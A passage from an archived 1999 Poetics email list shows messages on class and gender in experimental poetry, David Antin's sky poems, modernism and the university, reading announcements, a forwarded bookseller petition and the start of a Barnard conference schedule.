"Selected Notes of Robert M. Larsen, ed. Kallenberg and Larsen, in the Rosetta section of issue 6, Nov. 1998. See also Alan Gilbert's note on Marxist linguistics in I forget which issue. Class is a language. There are proto-piracies going on among these pages, along with a whole lotta Lamartine. Gaspard de la nuit? French ponies? peonies? poesis? (In the voice of Rene Gladman): Abuse your class privileges! False translate the French Africans! NOW.

KM--NY/Cleveland

↑ Index

220. maz881
e-dress wanted 9 antin
Wed 17 Mar 1999

In a message dated 3/17/99 5:13:44 AM Hawaiian Standard Time, [redacted] writes:

Return-Path: <[redacted]>
air-yb03.mail.aol.com (v56.26) with SMTP; Wed, 17 Mar 1999 10:13:44 -0500 [204.91.180.2])
by rly-yb02.mx.aol.com (8.8.8/8.8.5/AOL-4.0.0)
with ESMTP id KAA21038 for <[redacted]>; Wed, 17 Mar 1999 10:13:44 -0500 (EST)
ppi-ims-ny3751.penguinputnam.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2232.9) id HCKSVV6J; Wed, 17 Mar 1999 10:11:15 -0500 id <GT6Z63LN>; Wed, 17 Mar 1999 10:12:35 -0500
From: "Rothschild, Douglas" <[redacted]>
To: "'[redacted]'" <[redacted]>
Subject: RE: POETICS Digest - 15 Mar 1999 to 16 Mar 1999 (#1999-49)
Date: Wed, 17 Mar 1999 10:06:03 -0500

yea, while we were in SD & antin was way out of fasion with the CFAP (so mike D never talked about antin or what he was up to)....yada, yada..... but the story of the sky poems is in some antin talk that he gave at UCSD. he gets some grant to do this thing & finds this sky writer & antin says that he always wanted to sky write a poem ever since he saw this sky writing as a boy at coney island (or some other beach)...Harold Fox Fabulous Furs...so antin says that he always imagined a fox with great fur....& the sky writing guy in LA (the only one antin found on the coast at the time) says, that was my dad--who sky wrote that. antin describes the sky writing as interesting because the begining of a line would disappear before the end of a line was finished, & though it was not as he imagined it, he found the result to be interesting. (he did it in LA i think).

> -----Original Message-----
> From: [redacted] [SMTP:[redacted]]
> Sent: Wednesday, March 17, 1999 3:44 AM
> To: [redacted]
> Subject: Fwd: POETICS Digest - 15 Mar 1999 to 16 Mar 1999 (#1999-49)
>
> antin did sky poems?
>
> << Date: Sun, 14 Mar 1999 23:28:35 +0100
> From: cris cheek <[redacted]>

> Subject: e-dress wanted
>
> Anyone here got a working e-dress for David Antin? I'd be much abliged. Also anybody who saw his 'Sky Poems' I'd be keen to hear about that experience and if you've got any documentation of the events.
>
> thanks in advance
>
> love and love
> cris >>
> << Message: POETICS Digest - 15 Mar 1999 to 16 Mar 1999 (#1999-49) >>

↑ Index

221. Kathy Lou Schultz

Re: of Mothers & Daughters

Wed 17 Mar 1999

Yes, in response to Dodie Bellamy, I have to say it was absolutely fascinating the speed with which this man's question was dismissed. Class peeps out into the open briefly and then BAM! silence. Fascinating and all-too-familiar. I thought Laura Moriarty was trying to point out (correct me if I'm wrong here, Laura) that there are in fact working class and people of color among "us" (experimental poet types). She seemed to be identifying as working class and saying that the evidence of class can therefore be "oneself." I went up to "the man" asking the question afterwards and got his name and address (he's Chris Beach--Hi Chris are you out there?) and he and I had a discussion with Bobbie West about what had happened. They both seemed a bit stunned. Me, I felt "same song different day" playing in my head and saw all of my college experiences passing before my very eyes. I promised to send them both my essay on class and experimental poetries that appeared in the premiere issue of Tripwire (and I will--promise). Yedda Morrison, one of the editors, was extremely supportive in helping me to bring this essay into being. But there is MUCH MORE to be done. Thanks to Dodie for raising the issue here. Kathy Lou Schultz > Interestingly, one guy posed a question to my panel about class--and I was all ready to speak--finally this could be talked about because it is an important issue, I feel, one that is denied over and over again--and somebody besides me and Kathy Lou Schultz thinks so. Laura Moriarity said that class differences were breaking down--something I disagree with, which is odd since I usually agree with Laura. But then Carla jumped up and started yelling at Marjorie and the issue, once again, got swept under the rug.

>
> Dodie

↑ Index

222. John Tranter
Let's do the Modernism!
Thu 18 Mar 1999

I was interested to note the announcement for the Modernism Conference at Penn State.

There's one blindingly significant point about Modernism Then and Now that I bet doesn't get talked about at this Conference, to wit:

Of all the thirty or so people who created Modernism (in poetry and prose), not a single one of them ever taught at an American university. They never did it, ever.

Off all the thirty or so people discussing Modernism at Penn State, every single one of them makes a living teaching at an American university. They do nothing else, all the time.

Hmmm . . .

JT

from John Tranter, 39 Short Street, Balmain NSW 2041, Sydney, Australia
tel ([redacted] fax ([redacted] Editor, Jacket magazine:
http://www.jacket.zip.com.au/welcome.html Homepage: five megabytes of glittering literature, free, at
http://www.alm.aust.com/~tranterj/index.html

↑ Index

223. John Cayley
email address requests
Thu 18 Mar 1999

Can anyone send me - back channel current email addresses for:

Christian Bok
Will Alexander
Ronald Fraser Munro
Lisa Robertson

Thanks in anticipation,
John

↑ Index

224. Linda Russo
Re: question
Thu 18 Mar 1999

Women Poets at Barnard presents

Where Lyric Tradition Meets Language Poetry: Innovation in Contemporary American Poetry by Women

Barnard College, Columbia University,
New York City
April 8 April
10, 1999

A preliminary schedule for the Barnard conference in April is posted at http://www.zip.com.au/~jtranter/jacket06/barnard.html

> Has anyone heard of a women and poetics conference happening at Barnard in April?
>
> wondering, betsy

↑ Index

225. Poetics List Administration
Re: Page Mothers & Delinquent Daughters / Russo
Thu 18 Mar 1999

had to reformat this. Chris

---------- Original message (ID=5A456822) (578 lines) ----------

From: "Linda Russo" <[redacted]>
Subject: Re: Page Mothers & Delinquent Daughters
Date: Thu, 18 Mar 1999 10:31:22 -0500

I've been thinking about Rachel's post responding to E. Treadwell's & trying not to disagree with her as I like the serendipity of what she proposes (akin to an idea Rachel you've expressed to me before -- the idea that you do something and if someone else does something as a 'result' of that, that's just something else, something they've done) but i just can't put stock in this kind of separatism -- the way you would separate generations and things generated (poems from people)

first, I agree with the troublesome "assignment" of continuing the project of another generation, and to be acused of laziness for not outwardly appearing to carry on the good fight makes at least one narrow assumption: that the fight will take on a guise or method that is similar in its devices and so immediately recognizeable as a continuation. Yes we are doing a different and a next thing, and the problem seems to be that we're not acknowledging where we came from so to speak -- so we're perceived of as having lost some ground. I don't see any problem in asking for evidence that this hasn't indeed happened in the form of 'statements of poetics or positions' that work to clarify one's relationship to advances that have been made -- especially where 'advances' may not be perceived as such under the 'new' methodology, i.e. where certain techniques are rejected as ineffective tools (the victim-centered poetry of the early women's movement, e.g.). Maybe the statement mode right now is sort of dead. No one here I think responded to Rebecca Wolff's "manifesto" posted a while back; though I'll admit that I'm guilty of thinking about it & not being sure how to respond, or not being sure that the list was a fertile place for a response -- though I would very much like this list to be so -- or for this response, an issue I'm working out in response to Joel's most recent post.

Nancy Shaw from the Kootenay School of Writing gave an interesting talk on this point last night to a small audience at the Corner Shop here in Buffalo. The talk isn't published, she wrote it for this particular occassion, but what she said is extremely pertinent to this situation. She suggested that the manner in which 'so called Lang poets' related their poetics to the social (namely irony) had played itself out, that their social effectivity was measured on 'modalities of difference' (analogy, constructionism, subjective expression) as articulated in Watten's "Bride of the assembly line" which were to some extent no longer useful for charting developments. This I think may be why we're accused of not doing anything, because we are constructing new modalities as it were.

(I find myself suddenly irritated by this 'we' i've been using, as it is simply in this context a generational tag -- Nancy referred to the 'so-called under forties' -- and I don't feel particularly that there is a 'we' that I'm related to (more than peripherally, of incidentally) in any aesthetic sense -- but this might be part of the 'problem' or at least indicative of how different the situation is now then it was 70 years ago when, for example, there wasn't this list to provide one with a sense of poetic kindredness -- a point I'm taking up in my response to Joel).

Nancy discussed Sianne Ngai's "Poetics of Disgust" (orig. pub'd in _Open Letter_) as making the sort of moves that Silliman (et al?) had demanded (in Philly Talks) but as being ignored as such, criticized on the basis of it's having been carelessly read. She proposed that a Poetics of Disgust works as a "cultural poetics," a relation of poetics to the social 'in the tradition of' Lang po, but structured with its own, although contingent, ideaology.

it is perhaps this sort of connection -- a shift in modalities -- that we are to be on the look out for, and that ought to be written about. reviews can facilitate this if a book is read with the question in mind: how is this doing something differently? How does it compare to this other thing? (and here i'm having a deja vu from talking to Leslie Scalapino about a year ago, about what brought her to the lang po crowd in the first place -- so i can see where it's easy to read her in terms of a dis-connected geneaology, when really her geneaology is just slightly 'other'). And finally what does this difference achieve that the other thing couldn't? That is, if you want to read poems as possible sites of such cultural or political achievement.

Nancy does this, and her term for such is "Cultural poetics" (her term I think) is a hybridization of Birmingham School Cultural Studies and Poetics. I found this point confusing, as cultural studies as it is currently being imagined is at once flaggelating itself for its lack of political/social effectivity and reassuring itself that that's ok -- it's just a set of diagnostic devices, and an intellectual and not necessarily a political tool (ut oh -- am i to be accused of saying the intellect isn't a political tool? or are those days over?). I would rather call it a Materialist Poetics (and here again i wave in the direction of the response I'm preparing to Joel's post)

This brings me to the other sort of separation you Rachel (via Kevin via Scalapino) would bring about in the name of not falling for parent/hero-worship, not worrying the bridge, etc. Because it seems to me that you would dismiss a sort of personal/communal lineage altogether (a canon even). I don't think Scalapino would advocate this as she'll readily tell you what her lineage is and how important it is to her.

> I do take much issue with the nonchalance with which poet-writers assume heroes, find it necessary to have pet influences and mythical notions of some person behind the poem- and, if killian's sum was right-on, i would agree with scalapino, that the cult of the revered figure is rather in service of obliterating interaction with the writing and if scalapino, in her argument against immersing oneself in some kind of lineage, 'makes some abrupt jumps', all the more reason for actually looking at the writing that she is talking about, no? - is it not about time that chronology (and the presumed debt to preserve it) cashed in its chips? -

I'd like to hear more about this nonchalance. & what about material rather than mythical notions of persons behind poems? I mean I just can't that gleefully feel like I'm interacting with writing and that's great, and that's IT, because I'm constantly reminded of the material circumstances in which poems are produced (and I may be accussed of generalities here, but i'm referring to the poetry that currently circulatees in and around this list, American poetry usually emmanating from sub/urban areas many of which I have been too) But I wouldn't obliterate that writing-interaction either. Maybe i'm limited by my own condition, my need to be materially located, to feel poems in some way connected to places. I suppose it's intellectually generous of you to read Scalapino's obtuseness as a pointer to some 'originary'(?) sources, as a sort of self-effacement -- "don't sit here trying to figure this out! read stein!" I think scalapino would agree that though we shouldn't focus too much on the self, the self is mired in particular material circumstances to which he/she responds (or she never would have left her Oakland abode to see what all the fuss was -- the fuss for example that turned into Perelman's _Writing/Talks_), and that lineage is part of that circumstance, as is being handed down a certain set of tools and problems to work with or refuse. I don't know what you mean by time cashing in its chips -- is time playing poker and we're the cards, shuffled about, operating only by chance? There's too much intention in poems and the circumstances under which they get circulated to run on that.

But I also think that it's not unreasonable to expect that some position-taking be risked or some degree of indebtedness (not to the dealer but to the ante) -- or refusal -- be acknowledged. I also think it's important to 'continue the project' so one doesn't loose too much ground and risk worshipping the Ally McBeal of the new feminism in contemporary poetics. I'm interested in a cultural worker not some mythological/fictional hero -- and the only evidence of that is in the construction of a 'cultural poetics' or otherwise formulated responses to poems and not in the poems themselves -- the reception/reaction of poems are as important as putting them out there.

After a veritable proliferation of little magazines that serve the social (and the political perhaps via the sort of networking they make possible) by publishing almost exclusively a lot of poetry I take _tripwire_s conception as a sign that people are ready to start having these sorts of conversations. That's exciting.

thanks for tuning in, linda

↑ Index

226. Cassandra Laity
Modernism and American Us'
Thu 18 Mar 1999

Date: 18-Mar-1999 11:06am EDT
From: Laity, Cassandra
CLAITY
Dept: FAC/STAFF
Tel No: 3141

TO: Remote Addressee ([redacted])

Subject: Modernism and American Us'

Dear John Tranter and Others, I won't entirely dispute the implications of your posting on modernism and the American University. But I would like to refer you to Gail McDonald's wonderful book, _Learning to be Modern: Pound, Eliot and the American University- (Oxford, 1993) in which she explores American educational history as a context for what Pound and Eliot learned in Universities, how the poets needed universities, and how universities needed them. "Rewriting the syllabus of exemplary writers [Eliot did], revising the rules of poetic decorum, and proposing new standards for the study of poetry, Pound and Eliot emulated and contributed to the American academy's reformation of its mission and curriculum as it evolved from nineteenth-century religious college to twentieth-century research university" (McDonald, vii). We would be honored if you would sign up for our seminar on Modernism and pedagogy run by Mcdonald at the "New Modernisms" conference. There will be several poets there as well--Alicia Ostriker, Rachel Blau DuPlessis and others. Cassandra Laity _MSA_ Program Committee

↑ Index

227. Christopher M Devenney

Re: of Mothers & Daughters

Thu 18 Mar 1999

I've been following this "thread" with some interest over the last week or so, and I would like to make one small contribution to this nascent discussion concerning the issue of "class." While I was not at the conference (Buffalo to San Diego requires more dollars than I have or can find), as I read the various comments and hear that the question of class was raised--"what about class?"--I'm reminded of a series of "what about" questions that have pervaded various discussions--academic and non--over the last decade or so. The interesting thing about the "what about" question is that it tends toward implosion, pulling everyone and everything into its center, though it is a center more often than not that functions uncritically, tending to stand on a "moral" ground rather than upon anything that makes "sense." So "what about class?" Yes, indeed, as indelicate, and possibly polemical as this may come across (not my intention), what about it?

Wittgenstein once wrote: "A philosopher says that he understands the sentence 'I am here,' that he means something by it, thinks something--even when he doesn't think at all how, on what occasions, this sentence is used. And if I say 'A rose is red in the dark too' you positively see this red in the dark before you." Is there an analogy to be made here between "a rose is red in the dark" and the red we positively see, fantastically, in the dark, and the shearing question "what about class," or am I just grossly misunderstanding? Still, I cannot seem to get past the circularity of the question, the unstated assumption that we indeed all know what 'x' is: "Imagine someone saying: 'But I know how tall I am!' and laying his hand on top of his head to prove it."

Chris Devenney

↑ Index

228. Brian Lennon
Re: Let's do the Modernism!
Thu 18 Mar 1999

In response to John Tranter's observation on the Penn State Modernism conference:

I admit that my own ambivalence about academic life, and its deadening effects, is gratified by this riposte. And yet: would we rather have no Modernism conference than one conducted by (American) pro scholars?

I certainly can't say with any authority that the situation of literary artists inside and outside the American university is any different than it was at the time of historical modernism, but common sense would suggest it be so. To suggest, furthermore, that any academic is not profoundly ambivalent about her or his occupation seems unrealistic at the least.

However, JT's response was intended as wit. Perhaps I'm responding off-mode.

At 04:54 PM 3/18/99 +1100, John Tranter wrote:
>I was interested to note the announcement for the Modernism Conference at >Penn State.
>
>There's one blindingly significant point about Modernism Then and Now that >I bet doesn't get talked about at this Conference, to wit:
>
>Of all the thirty or so people who created Modernism (in poetry and prose), >not a single one of them ever taught at an American university. They never >did it, ever.
>
>Off all the thirty or so people discussing Modernism at Penn State, every >single one of them makes a living teaching at an American university. They >do nothing else, all the time.

↑ Index

229. Christopher Reiner
L.A. Books reading this Sunday
Thu 18 Mar 1999

(Academy what? Awards? Never heard of 'em...but lemme tell you about this reading...)

SUNDAY, MARCH 21, 1999

Poets Eleni Sikelianos (New York City) and Robert Crosson (Los Angeles) read from their work at Cafe Balcony, 12431 Rochester Avenue, Los Angeles. 4:00 p.m., [redacted]. Part of the L.A. Books reading series. $ 5 donation goes directly to readers.

ABOUT THE READERS: Eleni Sikelianos has published several books and chapbooks of poetry, including The Book of Tendons, and, most recently The Lover's Numbers. She is the recipient of an NEA fellowship in poetry, and two Gertrude Stein Awards. She lives in New York City, where she works at St. Mark's Poetry Project and Teachers & Writers Collaborative.

Robert Crosson's many books of poetry include the long poem Geographies, and, most recently, a poetry chapbook In the .thers of the Amazon. Crosson's work is included in the Los Angeles anthologies Poetry Loves Poetry and L.A. Exiles. In 1989, he was awarded a poetry fellowship by the California Arts Council.

↑ Index

230. Maria Damon
Re: Let's do the Modernism!
Thu 18 Mar 1999

At 4:54 PM +1100 3/18/99, John Tranter wrote:
>...
>Of all the thirty or so people who created Modernism (in poetry and prose), >not a single one of them ever taught at an American university. They never >did it, ever.
>

the idea that modernism was created by 30 people is, i thought, the very idea that new modernist studies is intended to put to rest. if this conference ends up being one more roster of Lives and Works of the Greats, what's the point?

↑ Index

231. derek beaulieu / house press

Fw: for info or action

Thu 18 Mar 1999

-----Original Message-----
From: [redacted] <[redacted]>
To: [redacted] <[redacted]>
Date: Thursday, March 18, 1999 10:48 AM
Subject: for info or action

> CIRCULATE WIDELY
>
> Petition to protect small booksellers. This petition is important to the small independent booksellers. Please take a moment to sign it.If you are the 50th, 100th, 150th signature, please e-mail the petition to the AMERICAN BOOKSELLERS ASSOCIATION, e-mail address [redacted] .
>
> If you want more info, here is a web site: http://web.bookweb.org/m-bin/by_topic?topic_id=37
>
> PETITION TO BLOCK BARNES & NOBLE ACQUISITION OF INGRAM
>
> This petition will be sent to the US Congress, Department of Justice and the Federal Trade Commission to block Barnes & Noble's proposed acquisition of the Ingram Book Company, the single largest supplier of books to small bookstores across the country. This acquisition, should it be allowed to take place, is just one more example of the large scale corporate consolidation that has infiltrated every corner of our culture.
> As the desire intensifies to increase bottom line profits, no matter what the other consequences, so does the concentration of power in the book industry. Consumers are left with an environment in which fewer and fewer people are deciding which books get published and ultimately, which books Americans can read and buy. Barnes & Noble has already entered into an alliance with the $14 billion media giant, German-owned Bertelsmann AG. Now with Barnes & Noble's proposed acquisition of the billion-dollar Ingram Book Company, there can be little doubt that the book industry is falling prey to the same anticompetitive ills that currently plague computer software and other industries. This deal would make independent bookstores virtually dependent upon their largest competitor for their books. (It is as if Burger King and Wendy's had to buy their French fries from McDonald's).
>
> We need your help. As a patron of independent booksellers, please sign the petition to help us lobby the government to stop this proposed merger.

Please exercise your right as a citizen and tell the government how you feel. We sincerely thank you for your support.

Please add your name to this petition and forward it to as many people as you can. If you want to sign the petition but not send it around, please sign and return it to e-mail address above.

IMPORTANT: Do not use the "Forward" utility in your mail program. Instead, cut and paste this message into a NEW E-MAIL, add your name to the bottom of the list, and send it out widely to all your friends and networks. ***

1. Meg Gouraud, Canon City CO
2. Garrison Keillor, St. Paul MN.
3. Roy Blount Jr., NY NY
4. Ridley Pearson, Bellevue ID.
5. Amy Tan, San Francisco CA
6. Stewart Wallace, New York NY
7. Richard Einhorn, NY, NY
8. Norman Hollyn, Santa Monica CA
9. JoAnn Hanley, Los Angeles CA
10. Isabel King, Gardena CA
11. Maya Conn, Santa Monica CA
12. Matthew Weinstein, Brooklyn NY
13. Alice Shechter, Brooklyn NY
14. Bj Richards, Oak Park, Il.
15. Susan Salidor, Chicago, IL
16. Heidi Kafka, Chicago, IL
17. David Lavan, Chicago, IL
18. Annissa Anderson, Bend, OR
19. Cheryl Heinrichs, Bend, OR
20. Sean F. Everton, San Jose, CA
21. Deanne L. S. Everton, San Jose,CA
22. Dawn Ramsey, Bend, OR
23. Barbara Boothby, Bellingham, WA
24. Laura Cazares, Santa Barbara, CA
25. Karin Gursky, San Rafael, CA
26. Gregory Hines, San Francisco, CA
27. Hal Conklin, Santa Barbara, CA
28. Daniel Figlo, Santa Barbara, CA 29. Neal Rabin, Santa Barbara, CA
30. Christopher Horner, Venice, CA
31. Luis Watts, Bloomfield Hills, MI
32. Joel Swadesh, USA
33. Jane Prettyman, Santa Barbara, CA
34. Joe Forgy, Texarkana, TX
35. Janet Stevens, Irvine, CA

> 36. Jeannie Brown, Mission Viejo, CA
> 37. Patricia Sierra, Toledo, OH
> 38. Austin Wright, Cincinnati, OH
> 39. James Wheatley, W. Hartford, CT
> 40. David Richter, New York, NY
> 41. John Richetti, Philadelphia, PA
> 42. Nina Auerbach, Philadelphia, PA
> 43. Catherine Benamou, Ann Arbor, MI
> 44. Celeste Olalquiaga, NYC
> 45. Eunice Lipton, NYC
> 46. Sharon Frost, NYC
> 47. Allen Eisenberg, NYC
> 48. Alan Sondheim, NYC
> 49. E.M.Garrison, Boise, ID
> 50. John Cayley, London, UK
> 51. Miles Champion, London, UK
> 52. Lynette Hunter, Leeds, UK
> 53. Frank Davey, London, ON, CAN
> 54. Susan Rudy, Calgary, Alberta, CAN
> 55. Jonathon Wilcke, Calgary, Alberta, CAN
> 56. Derek Beaulieu, Calgary, Alberta, CAN

↑ Index

232. Karen McKevitt
Under Flag
Fri 19 Mar 1999

As many of you probably already know, Kelsey St. Press has re-printed Myung Mi Kim's _Under Flag_.
(So now everyone will be able to purchase it from SPD!)

But I also wanted to let all of you teachers know that if you are interested in teaching the book, or want more information, please contact Kelsey St. Press by responding to [redacted], or you may e-mail me at [redacted].

Karen McKevitt
Get Your Private, Free Email at http://www.hotmail.com

↑ Index

233. Kathy Lou Schultz
Class & poetics
Fri 19 Mar 1999

I've gotten several backchannel requests for copies of my essay on class & poetics entitled "Talking Trash, Talking Class: What's a Working Class Poetic, and Where Would I Find One?" I sincerely appreicate the interest in this topic. The essay appeared in Tripwire: A Journal of Poetics No. 1, which is edited by Yedda Morrison and David Buuck. If you are able, it would be great to support the editors of this wonderful journal. The magazine is available from Small Press Distribution in Berkeley, Calif. (www.spdbooks.org) and has a cover price of $6. If you are having trouble getting the magazine, let me know and I can send you a copy of the essay. Thank you, Kathy Lou Schultz [redacted]

↑ Index

234. Robert Archambeau
Irish Experimental Poetry Online
Fri 19 Mar 1999

Steve Tomasula of The Notre Dame Review has set up an online supplement including poems by Catherine Walsh, Trevor Joyce, Maurice Scully, Randolph Healy and Geoffrey Squires.

The site also features short bios of the poets and an interview I did with Randoph Healy.

The URL is:

http://www.nd.edu/~ndr/issues/ndr7/ndr7.html

My two-part article on these poets is also online now -- click the "back issues" button and go to the reviews sections of issues 4 and 5.

Robert Archambeau
Lunds Universitet, Sweden

↑ Index

235. John Cayley
email address request - 2
Fri 19 Mar 1999

Sorry about this, but here's another email address request:

Can anyone send me - back channel current email addresses for:

Walter Kew?

Thanks in anticipation,
John

↑ Index

236. Poetics List Administration
Michael Basinski performance
Fri 19 Mar 1999

Mark Peters asked me to forward this. To anyone coming through the Buffalo area next week, I highly recommend it. Chris

---

From: "Mark Peters" <[redacted]>
Date: 3/18/99, 1:24 PM +0000

Announcing:

Poetry and Sound Poetry Performance

Michael Basinski (and friends)

Tuesday Night March 23rd at 7:30 at Hallwalls 2495 Main Street, Buffalo NY

If you aren't familiar with Basinski's incredible work, some of it is on the web at his EPC author page:

(http://writing.upenn.edu/epc/authors/basinski)

There are also some great pieces at the Light and Dust site (which you can get to through the books section of the EPC) and at my magazine, Deluxe Rubber Chicken, also available through the EPC.

Anyone who saw Basinski's performance a few semesters ago, or any of his readings for that matter, knows this reading should not be missed. Don't say I didn't warn you!

This reading is part of the Deluxe Rubber Reading Series

Mark Peters

↑ Index

237. Poetics List Administration gender & class / Tremblay-McGaw
Fri 19 Mar 1999

---

this message came to the admin account instead of the listserv. Chris

---

From: "R. Tremblay-McGaw" <[redacted]>
Date: 3/18/99, 12:33 PM -0800

Hello All,

Just a brief collection of notes in response to list comments on class and gender issues.

I weigh in with Elizabeth Treadwell, agreeing that for me, gender concerns aren't really separate from my poetics. And gender issues also so tied up with issues of race and class and sexuality. nearly inextricable. and that brings me to the class issue. I have struggled with how to incorporate class issues in my own work in a formally interesting way without coming off as banal, this particularly difficult in poetry. I think both Dodie and Kathy Lou Schultz manage to address class in a challenging and interesting variety of ways in their work, Dodie in the Mina Letters and Kathy Lou in her Genealogy piece (part of which, I believe, is in Idiom online).

Kathy Lou and I have been at work on a collaborative piece that deals with issue of gender and language and in its own way, class. or maybe in addition what I mean to say is that there are certain class issues on which the creation of the work is predicated. the notion of stolen time--much of the work written while we're at our jobs, in between the cracks.

a little notation about reading the fabulous Figuring the Word by Johanna Drucker. Struck by her discussion of how certain of her books came into being, articulating events from her "personal" life and how they shaped/informed her experiments with language/text/the book. I was also struck by the sheer amount of time required to set the type for some of these works and the apparent time available to her for investigation and experiment. Time and its relation to class. to production/enquiry/visibility.

Hard not to feel a sense of rage, envy, lust and so on.

My job calls so that's all for now.

oh--and next issue of tripwire is on gender issues. looking forward to that.
Robin Tremblay-McGaw

↑ Index

238. Poetics List Administration
orality and the avant-garde? / Kane
Fri 19 Mar 1999

This msg came to the admin account instead of the listserv. Questions on the difference between these addresses can be sent to me here at <[redacted]>. Chris

---

From: "Daniel Kane" <[redacted]>
Date: 3/18/99, 5:50 PM -0500

In Charles Bernstein's _Close Listening_, Johanna Drucker has noted in her essay "Visual Performance of the Poetic Text":

"the aesthetic arenas in which visual experimentation takes on a developed form in the first half of the century include Italian Futurism, Russian Futurism, German and Swiss Dada, English Vorticism, Dutch De Stijl, Anglo-American modernism, and, to a lesser degree, French modern poetry and visual arts associated with Cubism and then Surrealism. In other words, there was a visual component to almost every area of modern poetry" (132).

Clearly, these movements in many cases played with or eliminated what most people would call conventional typography. What I'm interested in (since I'm at work on a project tracing the history of Lower East Side poetics and poetry reading series) is whether there is a link between typographical experimentalism and orality/real time performativity. That is, can one say that the movements Ms. Drucker lists were also partially characterized by their often rambunctious presentation of their works in performance? Does typographical experimentalism especially invite utterance, performance in some way? If anyone could provide me with an example or two (or a book that might say it all) of these movement's propensity for performance (especially as that performance relates to the way the text is built), I'd greatly appreciate it. You can backchannel me at

[redacted]

--daniel

↑ Index

239. Mark Prejsnar
gender class poetics poetry
Fri 19 Mar 1999

One way of looking at the political dimension, is to realize that socialist concerns, feminist concerns, historical edges, may sometimes become part of the work because they are integrated into the poet's mind and activities, and ongoing personal focus..... For instance Susan Howe seems to have developed a response to these dimensions, purely out of the intricate dance of her mind around themes of historical violence and tension that jabbed at her personally. The poetics underlying her work is very complex--i don't mean to suggest otherwise. But some of the most interesting political poets have responded to the social/political level, by simply letting their own interests, concerns, despairs, play thru the fabric of the writing they are doing. Some poets grow this sense of connectedness out of being activists. Some like Howe out of a fierce and personal immersion in historical data. (i myself have never felt a tension between an interesting formal approach and an awareness of class, gender and other weights... They seem naturally related....) Even some of the post-1970 generation who are thought of as theoretical language-oriented writers eventually come to a flow where the formal impetus and the political passion feel to be of a single push. (i'm thinking for instance of two Perelman books, favorites of mine: Face Value and First World.) This is a not to say that there aren't poetics theories that address important concerns here (the shape and movement of form against social contradiction as thought out by Brecht, Silliman, Bernstein, McCaffery, have been important to me) But poetix ideas threaten in the current climate to take on a weight that i find a little disquieting. To some extent politics in the world precedes politics in the word-processor. The activist sensibility of the political person is a substratum for the politix of the working poet.

mark prejsnar

↑ Index

240. raea100900
Re: Class & poetics
Fri 19 Mar 1999

I think my girlhood memoir, TRUE (Atelos Books), can be read as being about class
- by the way.

Rae Armantrout

↑ Index

241. MAXINE CHERNOFF
Re: Class & poetics
Fri 19 Mar 1999

Two issues on social class: May/June 1985: "The Reader's Egotism" in AMERICAN BOOK REVIEW and in Po Prject Newsletter #140, Feb/March 1991, "Social Class and the Writer's Identity," Paul Hoover argues that the reader seeks reassurance in texts of the rightness of his/her views and social position.

On Thu, 18 Mar 1999, Kathy Lou Schultz wrote:

> I've gotten several backchannel requests for copies of my essay on class & poetics entitled "Talking Trash, Talking Class: What's a Working Class Poetic, and Where Would I Find One?" I sincerely appreicate the interest in this topic. The essay appeared in Tripwire: A Journal of Poetics No. 1, which is edited by Yedda Morrison and David Buuck. If you are able, it would be great to support the editors of this wonderful journal. The magazine is available from Small Press Distribution in Berkeley, Calif. (www.spdbooks.org) and has a cover price of $6. If you are having trouble > getting the magazine, let me know and I can send you a copy of the essay.

> Thank you,
> Kathy Lou Schultz
> [redacted]

↑ Index

242. james perez
Re: Let's do the Modernism!
Fri 19 Mar 1999

JT said:
>>There's one blindingly significant point about Modernism Then and Now that I bet doesn't get talked about at this Conference, to wit:
>>Of all the thirty or so people who created Modernism (in poetry and prose), not a single one of them ever taught at an American university. They never did it, ever.
>>Of all the thirty or so people discussing Modernism at Penn State, every single one of them makes a living teaching at an American university. They do nothing else, all the time.

getting poetics in digest form, it was very interesting that this message came after KLS's post on class issues and so I'm thinking of both at once...

one thing that's always been interesting to me about reading Stein (esp. How To Write...) is that I can feel that she never worked retail in her life or waited tables or whatever (don't know this for a fact, not a stein scholar), and what did Eliot ever do? Artists that teach v. class of artists of yore I think is a very interesting topic to dig into. What does it mean to be a trust fund/landed nobility artist v. a college-educated "bohemian" v. an out-and-out homeless artist (stein v. stevens/williams; byron v. keats; marlowe v. shakespeare; whitman v. dickenson; sorry I know this is neither litigation nor boxing, though I think the stein/w.c.williams bout would be a good one)?

the question nobody seems to ever want to answer about there art: what is it for?: it's going to pay for my kids' college, it's going to get me out of the projects, it's going to save humanity/create a better world, I don't know I was bored and passing time, I'm going to prove I'm smarter/better/more educated/cooler than my dad/my brother/my mom/him/her/you

I think some of these are luxuries that we all can't afford, others can...but all seem to have an intrinsic effect on our resulting poetics. I don't really know where I'm going with this, but I think it is important to what we think of our fellow poets/artists and what prejudices we may form against those that do "sell out" or put there poetry on billboards/subways or read at inaugural events.

I'll go back to lurking now,

jamie.p
Get Your Private, Free Email at http://www.hotmail.com

↑ Index

243. Charles Bernstein
Barnard Conference Schedule (fwd)
Fri 19 Mar 1999

Women Poets at Barnard presents
Where Lyric Tradition Meets Language Poetry:
Innovation in Contemporary American Poetry by Women

April 8 10, 1999

The Poetry Conference, “Where Lyric Tradition Meets Language Poetry: Innovation in Contemporary American Poetry by Women”, is sponsored in part by The Barnard Women Poets Series, which for thirteen years has hosted free, public readings at Barnard by established and emerging women poets. Through these poets’ varied voices and styles, we have hoped to broaden and challenge our audiences’ visions of poetry’s range and effects. In addition to our readings, the series publishes a first collection from a new woman poet each year. Booklist described Women Poets at Barnard as “The best series currently introducing new writers to the public.”

This event is co-sponsored by The Academy of American Poets, The Poetry Society of America, and Poets & Writers Inc. and is funded in part by The Axe-Houghton Foundation and The Lannan Foundation.

THURSDAY, APRIL 8
CONFERENCE KICK-OFF EVENT
EVENING READING: 8:00 PM 10:00 PM

Barbara Guest
Jorie Graham
Introduced by Susan Wheeler

RECEPTION TO FOLLOW

FRIDAY, APRIL 9
REGISTRATION, MORNING COFFEE & BOOK SALES: 8:30 AM 9:00 AM

PANEL I: 9:00 AM 10:00 AM
Session 1 On Jorie Graham
1. Brian Henry, “The Will to Change: Style and Stylistic Achievement in Graham’s Poetry”

2. Jennifer Lewin, “Graham’s Philosophy of Language”
3. Andrew Osborn, “The Push of Reading in Graham’s ‘On Difficulty’”

Session 2 On Barbara Guest
1. Terrence Diggory, “Barbara Guest and the Mother of Beauty”
2. Anna Rabinowitz, “Notes Toward Painterly Osmosis”
3. Marjorie Welish, “On Barbara Guest”

